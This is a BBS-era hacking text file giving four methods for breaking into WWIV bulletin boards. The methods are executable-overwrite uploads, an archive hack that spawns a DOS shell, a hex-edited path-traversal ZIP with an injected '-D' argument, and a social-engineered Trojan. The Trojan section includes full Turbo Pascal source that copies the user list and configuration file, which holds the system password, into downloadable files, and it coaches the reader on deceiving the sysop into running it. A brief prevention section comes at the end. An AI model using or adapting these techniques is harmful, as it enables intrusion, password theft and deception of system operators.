The Complete Guide to Hacking WWIV WWIV is one of the most popular BBS programs in the country. With thousands of boards in WWIVnet and hundreds in the spinoff WWIVlink, there is a lot of support and community. The nice thing about WWIV is that it is very easy to set up. This makes it popular among the younger crowd of sysops who can't comprehend the complexities of fossil drivers and batch files. In this file, I will discuss four methods of hacking WWIV to achieve sysop access and steal the user and configuration files. Just remember the number one rule of hacking: Don't destroy, alter, or create files on someone else's computer, unless it's to cover your own trail. *** Technique #1: The Wildcard Upload *** This technique will only work on a board running an unregistered old version of DSZ and a version of WWIV previous to v4.12. It is all based on the fact that if you do a wildcard upload (*.*), whatever file you upload will go into the same directory as DSZ.COM, which is often the main BBS directory. So there are several methods of hacking using this technique. If the sysop is running an unmodified version of WWIV, you can simply compile a modded version of it with a backdoor and overwrite his copy. Your new copy will not be loaded into memory until the BBS either shrinks out (by running an onliner or something), or the sysop terminates the BBS and runs it again. You can also have some fun with two strings that WWIV always recognizes at the NN: prompt: "!@-NETWORK-@!" and "!@-REMOTE-@!". The first is used by WWIVnet to tell the BBS that it is receiving a net call. If the BBS is part of a network and you type "!@-NETWORK-@!", it will then wait for the network password and other data. If the board is not part of a network, it will just act like you typed an invalid user name. The second string is reserved for whatever programs people wanted to write for WWIV, like an off-line reader or whatever. Snarf (the file leeching utility) uses this. If there is not a REMOTE.EXE or REMOTE.COM in the main BBS directory, it will also act as if you entered an invalid user name. So, what you can do is wildcard upload either REMOTE.COM or NETWORK.COM. You want to call them COM files, because if the EXE files already exist, the COM ones will be called first. If the BBS is part of a network, you should go for REMOTE.COM, because if you do NETWORK.COM, it will screw up network communications and the sysop will notice a lot faster. Of course, if you're going straight in for the kill, it doesn't matter. So, what should NETWORK.COM or REMOTE.COM actually be? you ask. Well, you can try renaming COMMAND.COM to one of those two, which would make a DOS shell for you when it was executed. This is tricky, though, because you need to know his DOS version. I suggest a batch file, compiled to a COM file using PC Mag's BAT2EXEC. You can make the batch file have one line: \COMMAND That way you don't have to worry about DOS versions. Remember that this method of hacking WWIV is almost completely obsolete. It is just included for reference, or for some old board run from an empty house where the sysop logs on twice a year or something. *** *** Technique #2: The PKZIP Archive Hack *** Probably the most vulnerable part of WWIV is the archive section. This section allows users to unZIP files to a temporary directory and ZIP the files you want into a temporary ZIP file, then download it. This is useful if you download a file from another board, but one file in it is corrupted. This way you don't have to re-download the whole file. Anyway, on with the show. Make a zip file that contains a file called PKZIP.BAT or COM or EXE. It doesn't matter. This file will be executed, so make it whatever you want, just like in Technique #1. Make it COMMAND.COM, or a batch file, or a HD destroyer, whatever you want. So you upload this file, and then type "E" to extract it. It'll ask you what file to extract and you say the name of the file you just uploaded. It'll then say "Extract What? " and you say "*.*". It'll then unzip everything (your one file) into the TEMP directory. Then go to the archive menu ("G") and pick "A" to add a file to archive. It'll ask what file you want to add, and say anything, it doesn't matter. At this point it will try to execute the command: PKZIP TEMP.ZIP \TEMP\%1 Where %1 is what you just entered. The file pointer is already pointing to the temp directory, so instead of executing PKZIP from the DOS path, it'll execute the file sitting in the current directory, TEMP. So then it runs PKZIP and you get your DOS shell or whatever. If PKZIP does not work, you may want to try uploading another file, and use the same technique, but instead make it an ARC file and call the file in the archive PKPAK. This technique is relatively easy to defeat from the sysop's end, but often they are too lazy, or just haven't heard about it. *** *** Technique #3: The -D Archive Hack *** This technique also plays on the openness of WWIV's archive system. This is another method of getting a file into the root BBS directory, or anywhere on the hard drive, for that matter. First, create a temporary directory on your hard drive. It doesn't matter what it's called. We'll call it TEMP. Then, make a sub-directory of TEMP called AA. It can actually be called any two-character combination, but we'll keep it nice and simple. Then make a subdirectory of AA called WWIV. Place NETWORK.COM or REMOTE.COM or whatever in the directory \TEMP\AA\WWIV. Then from the TEMP directory execute the command: PKZIP -r -P STUFF.ZIP <--- The case of "r" and "P" are important. This will create a zip file of all the contents of the directories, but with all of the directory names recursed and stored. So if you do a PKZIP -V to list the files you should see AA\WWIV\REMOTE.COM, etc. Next, load STUFF.ZIP into a hex editor, like Norton Utilities, and search for "AA". When you find it (it should occur twice), change it to "C:". It is probably a good idea to do this twice, once with the subdirectory called WWIV, and another with it called BBS, since those are the two most common main BBS directory names for WWIV. You may even want to try D: or E: in addition to C:. You could even work backwards, by forgetting the WWIV subdirectory, and just making it AA\REMOTE.COM, and changing the "AA" to "..". This would be foolproof. You could work from there, doing "..\..\DOS\PKZIP.COM" or whatever. Then upload STUFF.ZIP (or whatever you want to call it) to the BBS, and type "E" to extract it to a temporary directory. It'll ask you what file. Type "STUFF.ZIP". It'll ask what you want to extract. Type """-D". It'll then execute: PKUNZIP STUFF.ZIP ""-D It will unzip everything into the proper directory. Voila. The quotation marks are ignored by PKUNZIP and are only there to trip up WWIV v4.20's check for the hyphen. This method can only be defeated by modifying the source code, or taking out the calls to any PKZIP or PKUNZIP programs in INIT, but then you lose your archive section. *** *** Technique #4: The Trojan Horse File-Stealer *** This method, if executed properly, is almost impossible to defeat, and will conceivably work on any BBS program, if you know the directory structure well enough. Once again, you need PC Mag's BAT2EXEC, or enough programming experience to write a program that will copy files from one place to another. The basic principle is this: You get the sysop to run a program that you upload. This program copies \WWIV\DATA\USER.LST and \WWIV\CONFIG.DAT *over* files that already exist in the transfer or gfiles area. You then go download those files and you have the two most important files that exist for WWIV. Now, you need to do a certain amount of guess-work here. WWIV has it's directories set up like this: --- TEMP I --- DIR1 I I I--- DLOADS---I--- DIR2 I I I --- DIR3 WWIV--I--- DATA I --- GDIR1 I I I--- GFILES---I--- GDIR2 I I I --- GDIR3 --- MSGS The sysop sets the names for the DIR1, DIR2, etc. Often you have names like UPLOADS, GAMES, UTILS, etc. For the gfile dirs you might have GENERAL, HUMOR, whatever. So you have to make a guess at the sysop's directory names. Let's say he never moves his files from the upload directory. Then do a directory list from the transfer menu and pick two files that you don't think anyone will download. Let's say you see: RABBIT .ZIP 164k : The History of Rabbits from Europe to the U.S. SCD .COM 12k : SuperCD - changes dirs 3% faster than DOS's CD! So you then might write a batch file like this: @ECHO OFF COPY \WWIV\DATA\USER.LST \WWIV\DLOADS\UPLOADS\RABBIT.ZIP COPY \BBS\DATA\USER.LST \BBS\DLOADS\UPLOADS\RABBIT.ZIP COPY \WWIV\CONFIG.DAT \WWIV\DLOADS\UPLOADS\SCD.COM COPY \BBS\CONFIG.DAT \BBS\DLOADS\UPLOADS\SCD.COM You'd then compile it to a COM file and upload it to the sysop directory. Obviously this file is going to be pretty small, so you have to make up plausible use for it. You could say it's an ANSI screen for your private BBS, and the sysop is invited. This is good if you have a fake account as the president of some big cracking group. You wouldn't believe how gullible some sysops are. At any rate, use your imagination to get him to run the file. And make it sound like he shouldn't distribute it, so he won't put it in some public access directory. There is a problem with simply using a batch file. The output will look like: 1 file(s) copied. File not found. 1 file(s) copied. File not found. That might get him curious enough to look at it with a hex editor, which would probably blow everything. That's why it's better to write a program in your favorite language to do this. Here is a program that searches specified drives and directories for CONFIG.DAT and USER.LST and copies them over the files of your choice. It was written in Turbo Pascal v5.5: Program CopyThisOverThat; { Change the dir names to whatever you want. If you change the number of locations it checks, be sure to change the "num" constants as well } uses dos; const NumMainDirs = 5; MainDirs: array[1..NumMainDirs] of string[8] = ('BBS','WWIV','WORLD', 'BOARD','WAR'); NumGfDirs = 3; GFDirs: array[1..NumGFDirs] of string[8] = ('DLOADS','FILES','UPLOADS'); NumSubGFDirs = 2; SubGFDirs: array[1..NumSubGFDirs] of string[8] = ('UPLOADS','MISC'); NumDirsToTest = 3; DirsToTest: array[1..NumDirsToTest] of string[3] = ('C:\','D:\','E:\'); {ok to test for one that doesn't exist} {Source file names include paths from the MAIN BBS subdir (e.g. "BBS") } SourceFileNames: array[1..2] of string[25] = ('DATA\USER.LST','DATA\CONFIG.DA T'); { Dest file names are from subgfdirs } DestFileNames: array[1..2] of string[12] = ('\BDAY.MOD','\TVK.ZIP'); var p, q, r, x, y, dirN: byte; bigs: word; CurDir, BackDir: string[80]; f1, f2: file; Info: pointer; ok: boolean; Procedure Sorry; var x, y: integer; begin for y := 1 to 1000 do for x := 1 to 100 do ; Writeln; Writeln (''); {change to something like } Writeln; {Abnormal program termination} ChDir(BackDir); Halt; end; begin Write (''); {change to something like } {$I-} {Loading...} GetDir (0, BackDir); ChDir('\'); for dirn := 1 to NumDirsToTest do begin ChDir(DirsToTest[dirn]); if IOResult = 0 then begin for p := 1 to NumMainDirs do begin ChDir (MainDirs[p]); if (IOResult <> 0) then begin if (p = NumMainDirs) and (dirn = NumDirsToTest) then Sorry; end else begin p := NumMainDirs; for q := 1 to NumGFDirs do begin ChDir (GFDirs[q]); if (IOResult <> 0) then begin if (q = NumGFDirs) and (dirn=NumdirsToTest) then Sorry; end else begin q := NumGFDirs; for r := 1 to NumSubGFDirs do begin ChDir (SubGFDirs[r]); if (IOResult <> 0) then begin if r = NumSubGFDirs then Sorry; end else begin r := NumSubGFDirs; dirn := NumDirsToTest; ok := true; end; end; end; end; end; end; end; end; GetDir (0, CurDir); ChDir ('..'); ChDir ('..'); for x := 1 to 2 do begin Assign (f1, SourceFileNames[x]); Assign (f2, CurDir+DestFileNames[x]); Reset (f1, 1); if IOResult <> 0 then begin if x = 2 then Sorry; end else begin ReWrite (f2, 1); Bigs := FileSize(f1); GetMem(Info, Bigs); BlockRead(f1, Info^, Bigs); BlockWrite (f2, Info^, Bigs); FreeMem(Info, Bigs); end; end; Sorry; end. So hopefully the sysop runs this program and emails you with something like "Hey it didn't work bozo!". Or you could make it work. You could actually stick a BBS ad in the program or whatever. It's up to you. At any rate, now you go download those files that it copied the USER.LST and CONFIG.DAT over. You can type out the CONFIG.DAT and the first word you see in all caps is the system password. There are several utilities for WWIV that let you compile the USER.LST to a text file. You can find something like that on a big WWIV board, or you can try to figure it out with a text or hex editor. At any rate, once you have those two files, you're in good shape. You could also use a batch file like that in place of one that calls COMMAND.COM for something like REMOTE.COM. It's up to you. *** *** Hacking Prevention *** So you are the sysop of a WWIV board, and are reading this file with growing dismay. Have no fear, if you have patience, almost all of these methods can be fixed. To eliminate the wildcard upload, all you have to do it get a current copy of WWIV (4.20), and the latest version of DSZ. It's all been fixed. To fix the PKZIP archive hack, simply specify a path in INIT in all calls to PKZIP, PKUNZIP, PKPAK, PKUNPAK, and any other archive programs you have. So your command lines should look like: \DOS\PKZIP -V %1 Or something similar. That will fix that nicely. To eliminate the -D method, you have to make some modifications to the source code if you want to keep your archive section. Goose, sysop of the Twilight Zone BBS in VA, puts out a NOHACK mod, which is updated regularly. It fixes ALL of these methods except the last. The latest version of NOHACK is v2.4. If you are a WWIV sysop, put it in. I can think of two ways to stop the last method, but neither of them are easy, and both require source code modifications. You could keep track of the filesize of a file when it's uploaded. Then when someone goes to download it, you could check the actual filesize with the size when it was uploaded. If they differ, it wouldn't let you download it. You could do the same with the date. Although either method could be gotten around with enough patience. For a virtually unhackable system, voice validate all users, have all uploads go to the sysop directory so you can look over them first, and don't run any programs. Of course, this is very tedious, but that is the price of a secure BBS.